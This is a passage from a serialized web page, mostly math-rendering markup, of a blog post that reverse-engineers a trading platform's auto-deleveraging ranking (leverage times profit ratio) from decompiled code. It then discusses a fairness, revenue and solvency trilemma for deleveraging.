value",{"type":23,"tag":134,"props":159930,"children":159931},{"style":113132},[159932,159936],{"type":23,"tag":134,"props":159933,"children":159935},{"className":159934,"style":111730},[1252],[],{"type":23,"tag":134,"props":159937,"children":159939},{"className":159938,"style":113142},[113141],[],{"type":23,"tag":134,"props":159941,"children":159942},{"style":158719},[159943,159947],{"type":23,"tag":134,"props":159944,"children":159946},{"className":159945,"style":111730},[1252],[],{"type":23,"tag":134,"props":159948,"children":159950},{"className":159949},[1211],[159951,159956,159965],{"type":23,"tag":134,"props":159952,"children":159954},{"className":159953},[1211],[159955],{"type":28,"value":158734},{"type":23,"tag":134,"props":159957,"children":159959},{"className":159958},[1211,28],[159960],{"type":23,"tag":134,"props":159961,"children":159963},{"className":159962},[1211],[159964],{"type":28,"value":158744},{"type":23,"tag":134,"props":159966,"children":159968},{"className":159967},[1211],[159969],{"type":28,"value":158734},{"type":23,"tag":134,"props":159971,"children":159973},{"className":159972},[21223],[159974],{"type":28,"value":21226},{"type":23,"tag":134,"props":159976,"children":159978},{"className":159977},[1238],[159979],{"type":23,"tag":134,"props":159980,"children":159983},{"className":159981,"style":159982},[1243],"height:0.686em;",[159984],{"type":23,"tag":134,"props":159985,"children":159986},{},[],{"type":23,"tag":134,"props":159988,"children":159990},{"className":159989},[21217,113077],[],{"type":23,"tag":24,"props":159992,"children":159993},{},[159994,159996,160002,160004,160010,160011,160017,160019,160025],{"type":28,"value":159995},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":92,"props":159997,"children":159999},{"className":159998},[],[160000],{"type":28,"value":160001},"abs_notional",{"type":28,"value":160003}," (unsigned), and ",{"type":23,"tag":92,"props":160005,"children":160007},{"className":160006},[],[160008],{"type":28,"value":160009},"float.d(rbx)",{"type":28,"value":4956},{"type":23,"tag":92,"props":160012,"children":160014},{"className":160013},[],[160015],{"type":28,"value":160016},"account_value",{"type":28,"value":160018}," (signed); the division is ",{"type":23,"tag":92,"props":160020,"children":160022},{"className":160021},[],[160023],{"type":28,"value":160024},"abs_notional / account_value",{"type":28,"value":720},{"type":23,"tag":24,"props":160027,"children":160028},{},[160029],{"type":28,"value":160030},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":158558,"props":160032,"children":160036},{"addr":160033,"line-start":160034,"line-end":160035},"0x555556abb140","278","296",[],{"type":23,"tag":61,"props":160038,"children":160040},{"id":160039},"ratio-2-profit-ratio",[160041],{"type":28,"value":160042},"Ratio 2: Profit Ratio",{"type":23,"tag":87,"props":160044,"children":160045},{},[160046],{"type":23,"tag":92,"props":160047,"children":160049},{"className":160048},[1183,158586],[160050],{"type":23,"tag":134,"props":160051,"children":160053},{"className":160052},[158591],[160054],{"type":23,"tag":134,"props":160055,"children":160057},{"className":160056},[1189],[160058],{"type":23,"tag":134,"props":160059,"children":160061},{"className":160060,"ariaHidden":1195},[1194],[160062,160093],{"type":23,"tag":134,"props":160063,"children":160065},{"className":160064},[1200],[160066,160070,160080,160084,160089],{"type":23,"tag":134,"props":160067,"children":160069},{"className":160068,"style":114614},[1205],[],{"type":23,"tag":134,"props":160071,"children":160073},{"className":160072},[1211,28],[160074],{"type":23,"tag":134,"props":160075,"children":160077},{"className":160076},[1211],[160078],{"type":28,"value":160079},"profit ratio",{"type":23,"tag":134,"props":160081,"children":160083},{"className":160082,"style":1390},[1292],[],{"type":23,"tag":134,"props":160085,"children":160087},{"className":160086},[1395],[160088],{"type":28,"value":257},{"type":23,"tag":134,"props":160090,"children":160092},{"className":160091,"style":1390},[1292],[],{"type":23,"tag":134,"props":160094,"children":160096},{"className":160095},[1200],[160097,160101],{"type":23,"tag":134,"props":160098,"children":160100},{"className":160099,"style":158639},[1205],[],{"type":23,"tag":134,"props":160102,"children":160104},{"className":160103},[1211],[160105,160109,160228],{"type":23,"tag":134,"props":160106,"children":160108},{"className":160107},[21195,113077],[],{"type":23,"tag":134,"props":160110,"children":160112},{"className":160111},[113082],[160113],{"type":23,"tag":134,"props":160114,"children":160116},{"className":160115},[1233,21120],[160117,160217],{"type":23,"tag":134,"props":160118,"children":160120},{"className":160119},[1238],[160121,160212],{"type":23,"tag":134,"props":160122,"children":160124},{"className":160123,"style":158664},[1243],[160125,160146,160157],{"type":23,"tag":134,"props":160126,"children":160127},{"style":158668},[160128,160132],{"type":23,"tag":134,"props":160129,"children":160131},{"className":160130,"style":111730},[1252],[],{"type":23,"tag":134,"props":160133,"children":160135},{"className":160134},[1211],[160136],{"type":23,"tag":134,"props":160137,"children":160139},{"className":160138},[1211,28],[160140],{"type":23,"tag":134,"props":160141,"children":160143},{"className":160142},[1211],[160144],{"type":28,"value":160145},"entry notional",{"type":23,"tag":134,"props":160147,"children":160148},{"style":113132},[160149,160153],{"type":23,"tag":134,"props":160150,"children":160152},{"className":160151,"style":111730},[1252],[],{"type":23,"tag":134,"props":160154,"children":160156},{"className":160155,"style":113142},[113141],[],{"type":23,"tag":134,"props":160158,"children":160159},{"style":158719},[160160,160164],{"type":23,"tag":134,"props":160161,"children":160163},{"className":160162,"style":111730},[1252],[],{"type":23,"tag":134,"props":160165,"children":160167},{"className":160166},[1211],[160168,160174,160179,160189,160194,160198,160202,160207],{"type":23,"tag":134,"props":160169,"children":160171},{"className":160170},[21102],[160172],{"type":28,"value":160173},"max",{"type":23,"tag":134,"props":160175,"children":160177},{"className":160176},[21195],[160178],{"type":28,"value":272},{"type":23,"tag":134,"props":160180,"children":160182},{"className":160181},[1211,28],[160183],{"type":23,"tag":134,"props":160184,"children":160186},{"className":160185},[1211],[160187],{"type":28,"value":160188},"pnl",{"type":23,"tag":134,"props":160190,"children":160192},{"className":160191},[1324],[160193],{"type":28,"value":1327},{"type":23,"tag":134,"props":160195,"children":160197},{"className":160196,"style":1331},[1292],[],{"type":23,"tag":134,"props":160199,"children":160201},{"className":160200,"style":1331},[1292],[],{"type":23,"tag":134,"props":160203,"children":160205},{"className":160204},[1211],[160206],{"type":28,"value":1224},{"type":23,"tag":134,"props":160208,"children":160210},{"className":160209},[21217],[160211],{"type":28,"value":296},{"type":23,"tag":134,"props":160213,"children":160215},{"className":160214},[21223],[160216],{"type":28,"value":21226},{"type":23,"tag":134,"props":160218,"children":160220},{"className":160219},[1238],[160221],{"type":23,"tag":134,"props":160222,"children":160224},{"className":160223,"style":158762},[1243],[160225],{"type":23,"tag":134,"props":160226,"children":160227},{},[],{"type":23,"tag":134,"props":160229,"children":160231},{"className":160230},[21217,113077],[],{"type":23,"tag":24,"props":160233,"children":160234},{},[160235,160237,160243],{"type":28,"value":160236},"It uses entry notional (",{"type":23,"tag":92,"props":160238,"children":160240},{"className":160239},[],[160241],{"type":28,"value":160242},"r14_2",{"type":28,"value":160244},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":160246,"children":160247},{},[160248],{"type":28,"value":160249},"This basically tells us how well the user's bet went.",{"type":23,"tag":158558,"props":160251,"children":160255},{"addr":160252,"addr-start":160253,"addr-end":160254},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":160257,"children":160258},{},[160259,160261,160267,160269,160275],{"type":28,"value":160260},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":92,"props":160262,"children":160264},{"className":160263},[],[160265],{"type":28,"value":160266},"1e-8",{"type":28,"value":160268},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":92,"props":160270,"children":160272},{"className":160271},[],[160273],{"type":28,"value":160274},"effective_leverage * profit_ratio",{"type":28,"value":160276},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":160278,"children":160279},{},[160280],{"type":28,"value":160281},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":9072,"props":160283,"children":160285},{"id":160284},"partial-and-total-adl",[160286],{"type":28,"value":160287},"Partial and Total ADL",{"type":23,"tag":24,"props":160289,"children":160290},{},[160291],{"type":28,"value":160292},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":160294,"children":160295},{},[160296],{"type":28,"value":160297},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":160299,"children":160300},{},[160301,160303,160308],{"type":28,"value":160302},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":92,"props":160304,"children":160306},{"className":160305},[],[160307],{"type":28,"value":158883},{"type":28,"value":160309}," boils down to:",{"type":23,"tag":158558,"props":160311,"children":160314},{"addr":158929,"line-start":160312,"line-end":160313},"3252","3632",[],{"type":23,"tag":24,"props":160316,"children":160317},{},[160318],{"type":28,"value":160319},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":34870,"props":160321,"children":160323},{"id":160322},"branches",[160324],{"type":28,"value":160325},"Branches",{"type":23,"tag":24,"props":160327,"children":160328},{},[160329],{"type":28,"value":160330},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":160332,"children":160333},{},[160334],{"type":28,"value":160335},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":34870,"props":160337,"children":160339},{"id":160338},"financial-conclusions",[160340],{"type":28,"value":160341},"Financial Conclusions",{"type":23,"tag":61,"props":160343,"children":160345},{"id":160344},"fairness-revenue-solvency-trilemma",[160346],{"type":28,"value":160347},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":160349,"children":160350},{},[160351,160353,160359],{"type":28,"value":160352},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":31,"props":160354,"children":160356},{"href":159711,"rel":160355},[35],[160357],{"type":28,"value":160358},"the paper mentioned before",{"type":28,"value":160360},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":16158,"props":160362,"children":160363},{},[160364,160374,160384],{"type":23,"tag":4894,"props":160365,"children":160366},{},[160367,160372],{"type":23,"tag":55,"props":160368,"children":160369},{},[160370],{"type":28,"value":160371},"Solvency",{"type":28,"value":160373},": can the platform pay every trader out?",{"type":23,"tag":4894,"props":160375,"children":160376},{},[160377,160382],{"type":23,"tag":55,"props":160378,"children":160379},{},[160380],{"type":28,"value":160381},"Fairness",{"type":28,"value":160383},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":4894,"props":160385,"children":160386},{},[160387,160392],{"type":23,"tag":55,"props":160388,"children":160389},{},[160390],{"type":28,"value":160391},"Revenue",{"type":28,"value":160393},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":160395,"children":160396},{},[160397],{"type":28,"value":160398},"Let's borrow these definitions from the paper:",{"type":23,"tag":87,"props":160400,"children":160401},{},[160402],{"type":23,"tag":92,"props":160403,"children":160405},{"className":160404},[1183,158586],[160406],{"type":23,"tag":134,"props":160407,"children":160409},{"className":160408},[158591],[160410],{"type":23,"tag":134,"props":160411,"children":160413},{"className":160412},[1189],[160414],{"type":23,"tag":134,"props":160415,"children":160417},{"className":160416,"ariaHidden":1195},[1194],[160418],{"type":23,"tag":134,"props":160419,"children":160421},{"className":160420},[1200],[160422,160427],{"type":23,"tag":134,"props":160423,"children":160426},{"className":160424,"style":160425},[1205],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":134,"props":160428,"children":160430},{"className":160429},[1211],[160431],{"type":23,"tag":134,"props":160432,"children":160434},{"className":160433},[159288],[160435,161254],{"type":23,"tag":134,"props":160436,"children":160438},{"className":160437},[159293],[160439],{"type":23,"tag":134,"props":160440,"children":160442},{"className":160441},[1233,21120],[160443,161242],{"type":23,"tag":134,"props":160444,"children":160446},{"className":160445},[1238],[160447,161237],{"type":23,"tag":134,"props":160448,"children":160451},{"className":160449,"style":160450},[1243],"height:11.8392em;",[160452,160523,160540,160609,160679,160748,160818,160887,160956,161025,161095,161166],{"type":23,"tag":134,"props":160453,"children":160455},{"style":160454},"top:-14.3707em;",[160456,160461],{"type":23,"tag":134,"props":160457,"children":160460},{"className":160458,"style":160459},[1252],"height:3.3714em;",[],{"type":23,"tag":134,"props":160462,"children":160464},{"className":160463},[1211],[160465],{"type":23,"tag":134,"props":160466,"children":160468},{"className":160467},[1211],[160469,160474],{"type":23,"tag":134,"props":160470,"children":160472},{"className":160471,"style":21067},[1211,21066],[160473],{"type":28,"value":21070},{"type":23,"tag":134,"props":160475,"children":160477},{"className":160476},[1228],[160478],{"type":23,"tag":134,"props":160479,"children":160481},{"className":160480},[1233,21120],[160482,160512],{"type":23,"tag":134,"props":160483,"children":160485},{"className":160484},[1238],[160486,160507],{"type":23,"tag":134,"props":160487,"children":160489},{"className":160488,"style":108991},[1243],[160490],{"type":23,"tag":134,"props":160491,"children":160493},{"style":160492},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[160494,160498],{"type":23,"tag":134,"props":160495,"children":160497},{"className":160496,"style":1253},[1252],[],{"type":23,"tag":134,"props":160499,"children":160501},{"className":160500},[1258,1259,1260,1261],[160502],{"type":23,"tag":134,"props":160503,"children":160505},{"className":160504},[1211,21066,1261],[160506],{"type":28,"value":55910},{"type":23,"tag":134,"props":160508,"children":160510},{"className":160509},[21223],[160511],{"type":28,"value":21226},{"type":23,"tag":134,"props":160513,"children":160515},{"className":160514},[1238],[160516],{"type":23,"tag":134,"props":160517,"children":160519},{"className":160518,"style":92642},[1243],[160520],{"type":23,"tag":134,"props":160521,"children":160522},{},[],{"type":23,"tag":134,"props":160524,"children":160526},{"style":160525},"top:-12.8707em;",[160527,160531],{"type":23,"tag":134,"props":160528,"children":160530},{"className":160529,"style":160459},[1252],[],{"type":23,"tag":134,"props":160532,"children":160534},{"className":160533},[1211],[160535],{"type":23,"tag":134,"props":160536,"children":160538},{"className":160537,"style":94579},[1211,21066],[160539],{"type":28,"value":94613},{"type":23,"tag":134,"props":160541,"children":160543},{"style":160542},"top:-10.8392em;",[160544,160548],{"type":23,"tag":134,"props":160545,"children":160547},{"className":160546,"style":160459},[1252],[],{"type":23,"tag":134,"props":160549,"children":160551},{"className":160550},[1211],[160552],{"type":23,"tag":134,"props":160553,"children":160555},{"className":160554},[1211],[160556,160561],{"type":23,"tag":134,"props":160557,"children":160559},{"className":160558},[1211,21066],[160560],{"type":28,"value":315},{"type":23,"tag":134,"props":160562,"children":160564},{"className":160563},[1228],[160565],{"type":23,"tag":134,"props":160566,"children":160568},{"className":160567},[1233,21120],[160569,160598],{"type":23,"tag":134,"props":160570,"children":160572},{"className":160571},[1238],[160573,160593],{"type":23,"tag":134,"props":160574,"children":160576},{"className":160575,"style":93088},[1243],[160577],{"type":23,"tag":134,"props":160578,"children":160579},{"style":92615},[160580,160584],{"type":23,"tag":134,"props":160581,"children":160583},{"className":160582,"style":1253},[1252],[],{"type":23,"tag":134,"props":160585,"children":160587},{"className":160586},[1258,1259,1260,1261],[160588],{"type":23,"tag":134,"props":160589,"children":160591},{"className":160590},[1211,21066,1261],[160592],{"type":28,"value":929},{"type":23,"tag":134,"props":160594,"children":160596},{"className":160595},[21223],[160597],{"type":28,"value":21226},{"type":23,"tag":134,"props":160599,"children":160601},{"className":160600},[1238],[160602],{"type":23,"tag":134,"props":160603,"children":160605},{"className":160604,"style":92642},[1243],[160606],{"type":23,"tag":134,"props":160607,"children":160608},{},[],{"type":23,"tag":134,"props":160610,"children":160612},{"style":160611},"top:-8.8188em;",[160613,160617],{"type":23,"tag":134,"props":160614,"children":160616},{"className":160615,"style":160459},[1252],[],{"type":23,"tag":134,"props":160618,"children":160620},{"className":160619},[1211],[160621],{"type":23,"tag":134,"props":160622,"children":160624},{"className":160623},[1211],[160625,160631],{"type":23,"tag":134,"props":160626,"children":160628},{"className":160627,"style":93045},[1211,21066],[160629],{"type":28,"value":160630},"π",{"type":23,"tag":134,"props":160632,"children":160634},{"className":160633},[1228],[160635],{"type":23,"tag":134,"props":160636,"children":160638},{"className":160637},[1233,21120],[160639,160668],{"type":23,"tag":134,"props":160640,"children":160642},{"className":160641},[1238],[160643,160663],{"type":23,"tag":134,"props":160644,"children":160646},{"className":160645,"style":93088},[1243],[160647],{"type":23,"tag":134,"props":160648,"children":160649},{"style":93092},[160650,160654],{"type":23,"tag":134,"props":160651,"children":160653},{"className":160652,"style":1253},[1252],[],{"type":23,"tag":134,"props":160655,"children":160657},{"className":160656},[1258,1259,1260,1261],[160658],{"type":23,"tag":134,"props":160659,"children":160661},{"className":160660},[1211,21066,1261],[160662],{"type":28,"value":929},{"type":23,"tag":134,"props":160664,"children":160666},{"className":160665},[21223],[160667],{"type":28,"value":21226},{"type":23,"tag":134,"props":160669,"children":160671},{"className":160670},[1238],[160672],{"type":23,"tag":134,"props":160673,"children":160675},{"className":160674,"style":92642},[1243],[160676],{"type":23,"tag":134,"props":160677,"children":160678},{},[],{"type":23,"tag":134,"props":160680,"children":160682},{"style":160681},"top:-7.3188em;",[160683,160687],{"type":23,"tag":134,"props":160684,"children":160686},{"className":160685,"style":160459},[1252],[],{"type":23,"tag":134,"props":160688,"children":160690},{"className":160689},[1211],[160691],{"type":23,"tag":134,"props":160692,"children":160694},{"className":160693},[1211],[160695,160700],{"type":23,"tag":134,"props":160696,"children":160698},{"className":160697},[1211,21066],[160699],{"type":28,"value":50960},{"type":23,"tag":134,"props":160701,"children":160703},{"className":160702},[1228],[160704],{"type":23,"tag":134,"props":160705,"children":160707},{"className":160706},[1233,21120],[160708,160737],{"type":23,"tag":134,"props":160709,"children":160711},{"className":160710},[1238],[160712,160732],{"type":23,"tag":134,"props":160713,"children":160715},{"className":160714,"style":93088},[1243],[160716],{"type":23,"tag":134,"props":160717,"children":160718},{"style":92615},[160719,160723],{"type":23,"tag":134,"props":160720,"children":160722},{"className":160721,"style":1253},[1252],[],{"type":23,"tag":134,"props":160724,"children":160726},{"className":160725},[1258,1259,1260,1261],[160727],{"type":23,"tag":134,"props":160728,"children":160730},{"className":160729},[1211,21066,1261],[160731],{"type":28,"value":929},{"type":23,"tag":134,"props":160733,"children":160735},{"className":160734},[21223],[160736],{"type":28,"value":21226},{"type":23,"tag":134,"props":160738,"children":160740},{"className":160739},[1238],[160741],{"type":23,"tag":134,"props":160742,"children":160744},{"className":160743,"style":92642},[1243],[160745],{"type":23,"tag":134,"props":160746,"children":160747},{},[],{"type":23,"tag":134,"props":160749,"children":160751},{"style":160750},"top:-5.8188em;",[160752,160756],{"type":23,"tag":134,"props":160753,"children":160755},{"className":160754,"style":160459},[1252],[],{"type":23,"tag":134,"props":160757,"children":160759},{"className":160758},[1211],[160760],{"type":23,"tag":134,"props":160761,"children":160763},{"className":160762},[1211],[160764,160769],{"type":23,"tag":134,"props":160765,"children":160767},{"className":160766,"style":121839},[1211,21066],[160768],{"type":28,"value":49077},{"type":23,"tag":134,"props":160770,"children":160772},{"className":160771},[1228],[160773],{"type":23,"tag":134,"props":160774,"children":160776},{"className":160775},[1233,21120],[160777,160807],{"type":23,"tag":134,"props":160778,"children":160780},{"className":160779},[1238],[160781,160802],{"type":23,"tag":134,"props":160782,"children":160784},{"className":160783,"style":93088},[1243],[160785],{"type":23,"tag":134,"props":160786,"children":160788},{"style":160787},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[160789,160793],{"type":23,"tag":134,"props":160790,"children":160792},{"className":160791,"style":1253},[1252],[],{"type":23,"tag":134,"props":160794,"children":160796},{"className":160795},[1258,1259,1260,1261],[160797],{"type":23,"tag":134,"props":160798,"children":160800},{"className":160799},[1211,21066,1261],[160801],{"type":28,"value":929},{"type":23,"tag":134,"props":160803,"children":160805},{"className":160804},[21223],[160806],{"type":28,"value":21226},{"type":23,"tag":134,"props":160808,"children":160810},{"className":160809},[1238],[160811],{"type":23,"tag":134,"props":160812,"children":160814},{"className":160813,"style":92642},[1243],[160815],{"type":23,"tag":134,"props":160816,"children":160817},{},[],{"type":23,"tag":134,"props":160819,"children":160821},{"style":160820},"top:-4.3188em;",[160822,160826],{"type":23,"tag":134,"props":160823,"children":160825},{"className":160824,"style":160459},[1252],[],{"type":23,"tag":134,"props":160827,"children":160829},{"className":160828},[1211],[160830],{"type":23,"tag":134,"props":160831,"children":160833},{"className":160832},[1211],[160834,160839],{"type":23,"tag":134,"props":160835,"children":160837},{"className":160836},[1211,21066],[160838],{"type":28,"value":18752},{"type":23,"tag":134,"props":160840,"children":160842},{"className":160841},[1228],[160843],{"type":23,"tag":134,"props":160844,"children":160846},{"className":160845},[1233,21120],[160847,160876],{"type":23,"tag":134,"props":160848,"children":160850},{"className":160849},[1238],[160851,160871],{"type":23,"tag":134,"props":160852,"children":160854},{"className":160853,"style":93088},[1243],[160855],{"type":23,"tag":134,"props":160856,"children":160857},{"style":92615},[160858,160862],{"type":23,"tag":134,"props":160859,"children":160861},{"className":160860,"style":1253},[1252],[],{"type":23,"tag":134,"props":160863,"children":160865},{"className":160864},[1258,1259,1260,1261],[160866],{"type":23,"tag":134,"props":160867,"children":160869},{"className":160868},[1211,21066,1261],[160870],{"type":28,"value":929},{"type":23,"tag":134,"props":160872,"children":160874},{"className":160873},[21223],[160875],{"type":28,"value":21226},{"type":23,"tag":134,"props":160877,"children":160879},{"className":160878},[1238],[160880],{"type":23,"tag":134,"props":160881,"children":160883},{"className":160882,"style":92642},[1243],[160884],{"type":23,"tag":134,"props":160885,"children":160886},{},[],{"type":23,"tag":134,"props":160888,"children":160890},{"style":160889},"top:-2.5512em;",[160891,160895],{"type":23,"tag":134,"props":160892,"children":160894},{"className":160893,"style":160459},[1252],[],{"type":23,"tag":134,"props":160896,"children":160898},{"className":160897},[1211],[160899],{"type":23,"tag":134,"props":160900,"children":160902},{"className":160901},[1211],[160903,160908],{"type":23,"tag":134,"props":160904,"children":160906},{"className":160905},[1211,21066],[160907],{"type":28,"value":83857},{"type":23,"tag":134,"props":160909,"children":160911},{"className":160910},[1228],[160912],{"type":23,"tag":134,"props":160913,"children":160915},{"className":160914},[1233,21120],[160916,160945],{"type":23,"tag":134,"props":160917,"children":160919},{"className":160918},[1238],[160920,160940],{"type":23,"tag":134,"props":160921,"children":160923},{"className":160922,"style":93088},[1243],[160924],{"type":23,"tag":134,"props":160925,"children":160926},{"style":92615},[160927,160931],{"type":23,"tag":134,"props":160928,"children":160930},{"className":160929,"style":1253},[1252],[],{"type":23,"tag":134,"props":160932,"children":160934},{"className":160933},[1258,1259,1260,1261],[160935],{"type":23,"tag":134,"props":160936,"children":160938},{"className":160937},[1211,21066,1261],[160939],{"type":28,"value":929},{"type":23,"tag":134,"props":160941,"children":160943},{"className":160942},[21223],[160944],{"type":28,"value":21226},{"type":23,"tag":134,"props":160946,"children":160948},{"className":160947},[1238],[160949],{"type":23,"tag":134,"props":160950,"children":160952},{"className":160951,"style":92642},[1243],[160953],{"type":23,"tag":134,"props":160954,"children":160955},{},[],{"type":23,"tag":134,"props":160957,"children":160959},{"style":160958},"top:-0.3652em;",[160960,160964],{"type":23,"tag":134,"props":160961,"children":160963},{"className":160962,"style":160459},[1252],[],{"type":23,"tag":134,"props":160965,"children":160967},{"className":160966},[1211],[160968],{"type":23,"tag":134,"props":160969,"children":160971},{"className":160970},[1211],[160972,160977],{"type":23,"tag":134,"props":160973,"children":160975},{"className":160974,"style":92793},[1211,21066],[160976],{"type":28,"value":92796},{"type":23,"tag":134,"props":160978,"children":160980},{"className":160979},[1228],[160981],{"type":23,"tag":134,"props":160982,"children":160984},{"className":160983},[1233,21120],[160985,161014],{"type":23,"tag":134,"props":160986,"children":160988},{"className":160987},[1238],[160989,161009],{"type":23,"tag":134,"props":160990,"children":160992},{"className":160991,"style":142114},[1243],[160993],{"type":23,"tag":134,"props":160994,"children":160995},{"style":109988},[160996,161000],{"type":23,"tag":134,"props":160997,"children":160999},{"className":160998,"style":1253},[1252],[],{"type":23,"tag":134,"props":161001,"children":161003},{"className":161002},[1258,1259,1260,1261],[161004],{"type":23,"tag":134,"props":161005,"children":161007},{"className":161006,"style":21067},[1211,21066,1261],[161008],{"type":28,"value":5444},{"type":23,"tag":134,"props":161010,"children":161012},{"className":161011},[21223],[161013],{"type":28,"value":21226},{"type":23,"tag":134,"props":161015,"children":161017},{"className":161016},[1238],[161018],{"type":23,"tag":134,"props":161019,"children":161021},{"className":161020,"style":92642},[1243],[161022],{"type":23,"tag":134,"props":161023,"children":161024},{},[],{"type":23,"tag":134,"props":161026,"children":161028},{"style":161027},"top:2.2624em;",[161029,161033],{"type":23,"tag":134,"props":161030,"children":161032},{"className":161031,"style":160459},[1252],[],{"type":23,"tag":134,"props":161034,"children":161036},{"className":161035},[1211],[161037],{"type":23,"tag":134,"props":161038,"children":161040},{"className":161039},[1211],[161041,161047],{"type":23,"tag":134,"props":161042,"children":161044},{"className":161043,"style":92559},[1211,21066],[161045],{"type":28,"value":161046},"D",{"type":23,"tag":134,"props":161048,"children":161050},{"className":161049},[1228],[161051],{"type":23,"tag":134,"props":161052,"children":161054},{"className":161053},[1233,21120],[161055,161084],{"type":23,"tag":134,"props":161056,"children":161058},{"className":161057},[1238],[161059,161079],{"type":23,"tag":134,"props":161060,"children":161062},{"className":161061,"style":142114},[1243],[161063],{"type":23,"tag":134,"props":161064,"children":161065},{"style":109558},[161066,161070],{"type":23,"tag":134,"props":161067,"children":161069},{"className":161068,"style":1253},[1252],[],{"type":23,"tag":134,"props":161071,"children":161073},{"className":161072},[1258,1259,1260,1261],[161074],{"type":23,"tag":134,"props":161075,"children":161077},{"className":161076,"style":21067},[1211,21066,1261],[161078],{"type":28,"value":5444},{"type":23,"tag":134,"props":161080,"children":161082},{"className":161081},[21223],[161083],{"type":28,"value":21226},{"type":23,"tag":134,"props":161085,"children":161087},{"className":161086},[1238],[161088],{"type":23,"tag":134,"props":161089,"children":161091},{"className":161090,"style":92642},[1243],[161092],{"type":23,"tag":134,"props":161093,"children":161094},{},[],{"type":23,"tag":134,"props":161096,"children":161098},{"style":161097},"top:4.8901em;",[161099,161103],{"type":23,"tag":134,"props":161100,"children":161102},{"className":161101,"style":160459},[1252],[],{"type":23,"tag":134,"props":161104,"children":161106},{"className":161105},[1211],[161107],{"type":23,"tag":134,"props":161108,"children":161110},{"className":161109},[1211],[161111,161117],{"type":23,"tag":134,"props":161112,"children":161114},{"className":161113,"style":94567},[1211,21066],[161115],{"type":28,"value":161116},"U",{"type":23,"tag":134,"props":161118,"children":161120},{"className":161119},[1228],[161121],{"type":23,"tag":134,"props":161122,"children":161124},{"className":161123},[1233,21120],[161125,161155],{"type":23,"tag":134,"props":161126,"children":161128},{"className":161127},[1238],[161129,161150],{"type":23,"tag":134,"props":161130,"children":161132},{"className":161131,"style":142114},[1243],[161133],{"type":23,"tag":134,"props":161134,"children":161136},{"style":161135},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[161137,161141],{"type":23,"tag":134,"props":161138,"children":161140},{"className":161139,"style":1253},[1252],[],{"type":23,"tag":134,"props":161142,"children":161144},{"className":161143},[1258,1259,1260,1261],[161145],{"type":23,"tag":134,"props":161146,"children":161148},{"className":161147,"style":21067},[1211,21066,1261],[161149],{"type":28,"value":5444},{"type":23,"tag":134,"props":161151,"children":161153},{"className":161152},[21223],[161154],{"type":28,"value":21226},{"type":23,"tag":134,"props":161156,"children":161158},{"className":161157},[1238],[161159],{"type":23,"tag":134,"props":161160,"children":161162},{"className":161161,"style":92642},[1243],[161163],{"type":23,"tag":134,"props":161164,"children":161165},{},[],{"type":23,"tag":134,"props":161167,"children":161169},{"style":161168},"top:7.3078em;",[161170,161174],{"type":23,"tag":134,"props":161171,"children":161173},{"className":161172,"style":160459},[1252],[],{"type":23,"tag":134,"props":161175,"children":161177},{"className":161176},[1211],[161178],{"type":23,"tag":134,"props":161179,"children":161181},{"className":161180},[1211],[161182,161187],{"type":23,"tag":134,"props":161183,"children":161185},{"className":161184,"style":122336},[1211,21066],[161186],{"type":28,"value":122339},{"type":23,"tag":134,"props":161188,"children":161190},{"className":161189},[1228],[161191],{"type":23,"tag":134,"props":161192,"children":161194},{"className":161193},[1233,21120],[161195,161226],{"type":23,"tag":134,"props":161196,"children":161198},{"className":161197},[1238],[161199,161221],{"type":23,"tag":134,"props":161200,"children":161203},{"className":161201,"style":161202},[1243],"height:0.2806em;",[161204],{"type":23,"tag":134,"props":161205,"children":161207},{"style":161206},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[161208,161212],{"type":23,"tag":134,"props":161209,"children":161211},{"className":161210,"style":1253},[1252],[],{"type":23,"tag":134,"props":161213,"children":161215},{"className":161214},[1258,1259,1260,1261],[161216],{"type":23,"tag":134,"props":161217,"children":161219},{"className":161218},[1211,21066,1261],[161220],{"type":28,"value":21208},{"type":23,"tag":134,"props":161222,"children":161224},{"className":161223},[21223],[161225],{"type":28,"value":21226},{"type":23,"tag":134,"props":161227,"children":161229},{"className":161228},[1238],[161230],{"type":23,"tag":134,"props":161231,"children":161233},{"className":161232,"style":92642},[1243],[161234],{"type":23,"tag":134,"props":161235,"children":161236},{},[],{"type":23,"tag":134,"props":161238,"children":161240},{"className":161239},[21223],[161241],{"type":28,"value":21226},{"type":23,"tag":134,"props":161243,"children":161245},{"className":161244},[1238],[161246],{"type":23,"tag":134,"props":161247,"children":161250},{"className":161248,"style":161249},[1243],"height:11.3392em;",[161251],{"type":23,"tag":134,"props":161252,"children":161253},{},[],{"type":23,"tag":134,"props":161255,"children":161257},{"className":161256},[159373],[161258],{"type":23,"tag":134,"props":161259,"children":161261},{"className":161260},[1233,21120],[161262,162964],{"type":23,"tag":134,"props":161263,"children":161265},{"className":161264},[1238],[161266,162959],{"type":23,"tag":134,"props":161267,"children":161269},{"className":161268,"style":160450},[1243],[161270,161308,161346,161493,161728,161883,161988,162031,162252,162411,162601,1